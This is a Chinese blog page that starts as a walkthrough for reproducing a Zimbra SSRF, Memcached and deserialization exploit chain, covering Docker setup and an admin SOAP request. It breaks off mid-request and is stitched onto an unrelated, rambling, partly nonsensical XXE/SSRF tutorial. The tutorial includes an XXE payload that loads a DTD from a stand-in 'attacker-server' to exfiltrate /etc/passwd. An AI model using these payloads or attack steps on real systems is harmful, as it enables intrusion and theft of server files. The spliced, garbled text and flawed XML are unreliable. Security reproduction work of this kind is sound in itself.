Zimbra SSRF+Memcached+反序列化漏洞利用复现

前言

之前懒了一下,没复现memcached反序列化的部分。

在看本文之前请先看完上一篇复现:
https://blog.youkuaiyun.com/fnmsd/article/details/88657083

本篇复现基于8.7.11进行复现,就是官网上直接下的。

纯技术研究,请勿使用在非法用途。

环境搭建

直接用docker,https://hub.docker.com/r/jorgedlcruz/zimbra
虚拟机中使用,请给4G以上内存。

docker pull jorgedlcruz/zimbra
docker run -p 25:25 -p 80:80 -p 465:465 -p 587:587 -p 110:110 -p 143:143 -p 993:993 -p 995:995 -p 443:443 -p 8080:8080 -p 8443:8443 -p 7071:7071 -p 9071:9071 -h zimbra-docker.zimbra.io --dns 127.0.0.1 --dns 8.8.8.8 -i -t -e PASSWORD=Zimbra2017 jorgedlcruz/zimbra

如果过程失败就exec到启动的Container里执行:

cd /opt/zimbra-install/zcs-* && ./install.sh -s < /opt/zimbra-install/installZimbra-keystrokes

,基本都是网络问题,重执行几次就好了。安装成功后,再执行如下命令:

/opt/zimbra/libexec/zmsetup.pl -c /opt/zimbra-install/installZimbraScript
su - zimbra -c 'zmcontrol restart'

具体安装过程看docker中的/opt/start.sh

题外话:其实端口不映射出来也没问题,直接访问相应的docker ip就好(172.17.0.2之类的)

获取普通用户

由于memcached的反序列化与邮箱账户有关,此处我们需要一个普通的邮箱。

方法一:通过Admin接口创建用户

依然是通过Proxy走admin soap接口,name需要是个邮箱地址,password6位以上

<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
   <soap:Header>
       <context xmlns="urn:zimbra">
           <userAgent name
### XXE漏洞SSRF的关系 XXE(XML External Entity)漏洞允许攻击者通过恶意构造的外部实体引用,读取服务器上的文件或其他资源。而SSRF(Server-Side Request Forgery)是一种让目标服务器发起请求到指定地址的安全问题。两者可以通过特定方式结合使用,在某些场景下实现更复杂的攻击效果。 例如,XXE可以和SSRF一起用于探测其他内网主机的信息,基于HTTP协议进行端口扫描或服务发现[^1]。这种组合能够使攻击范围扩大至内部网络中的更多资产。 --- ### Zimbra RCE漏洞背景及其利用关系 在一些复杂的应用程序中,多个安全缺陷可能相互关联形成更大的威胁模型。比如Zimbra远程代码执行漏洞(CVE-2019-9670),其完整的RCE链依赖于另一个SSRF漏洞(CVE-2019-9621)[^2]。尽管官方文档提到需要两个漏洞配合才能达成最终的目标——即完全控制受害者的机器;但实际上也有方法绕过此限制单独触发该功能模块从而直接获得shell权限的情况发生(具体细节未公开披露)。 这表明即使缺少明确标注出来的辅助条件也可能找到替代路径去完成整个攻击链条的设计意图之外的操作行为模式转换过程中的可能性探索方向之一就是寻找是否存在类似的逻辑错误或者配置不当之处作为突破口来进行尝试突破现有的防护机制进而达到预期目的的同时还应该考虑到实际环境中可能会遇到的各种阻碍因素影响最终成功率高低程度不同而已。 --- ### 复现步骤概述 为了验证上述理论假设成立与否并通过实践检验得出结论证明观点正确无误的话,则需按照如下方式进行操作: #### 准备工作 1. **环境搭建**: 使用虚拟机创建隔离测试环境,安装易受攻击版本的服务软件实例。 2. **工具准备**: 下载并启动Burp Suite社区版用作中间拦截器角色以便后续手动调整数据包内容后再转发出去供进一步分析研究之用。 #### 实际演练部分 ##### 设置代理连接 在浏览器里设定好相应的出口通道指向本地监听端口号之后加载含有潜在风险点位链接地址页面时自动将所有通信流量导向我们事先布置好的陷阱装置等待捕捉感兴趣的数据片段回来审查是否有异常现象出现值得深入挖掘下去的价值所在之处存在即可视为成功捕获有效样本素材可供下一步骤处理使用前先保存原始状态副本留档备案以防万一丢失重要线索证据材料造成无法挽回的局面后果严重必须谨慎对待每一个环节都不能马虎大意才行啊同志们加油干吧! ```plaintext GET /vuln/xxetest.php HTTP/1.1 Host: target-site.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 ``` ##### 构造Payload 接着把刚才截获下来的未经修改过的原样复制粘贴过来放到重复发送窗口里面替换掉原有的参数字段值换成精心设计制作而成的新颖独特而又充满危险性的特殊字符序列结构形式表现出来看看会发生什么有趣的事情呢?让我们拭目以待吧朋友们! ```xml <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE test[ <!ENTITY % remote SYSTEM "http://attacker-server/payload.dtd"> <!ENTITY % init "<!ENTITY % send SYSTEM 'file:///etc/passwd'>"> ]> <reset> <login>admin;%send;</login> <secret>Any bugs?</secret> </reset> ``` 注意这里引入了一个外部DTD定义文件`payload.dtd`,它包含了更多的指令用来指示解析引擎如何去构建新的实体标签嵌套层次关系直到最后一步才真正暴露核心秘密武器位置信息泄露给外界观察员看到为止才算圆满完成任务使命结束啦哈哈哈哈哈!!! --- ### 结果评估标准说明 当以上所有的准备工作都顺利完成以后就可以静候佳音传来好消息咯~ 如果一切正常顺利的话那么你应该能够在自己的监控屏幕上清晰地看见来自受害者那边传来的回应消息当中携带了原本不应该被轻易获取得到的秘密情报资料比如说操作系统用户名列表之类的敏感隐私类别的东西就充分证明我们的实验取得了圆满的成功成果喜人呀各位小伙伴们快来庆祝一番吧😊🎉👏 当然啦除了单纯追求技术层面的乐趣体验之外更重要的是要从中吸取教训总结经验不断提高自身的网络安全意识水平时刻保持警惕防止自己成为下一个倒霉蛋哦记住一句话叫做“道高一尺魔高一丈”永远不要低估敌人可能拥有的强大实力好吗谢谢大家听我说完这些话希望对你们有所帮助再见👋~ ---
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值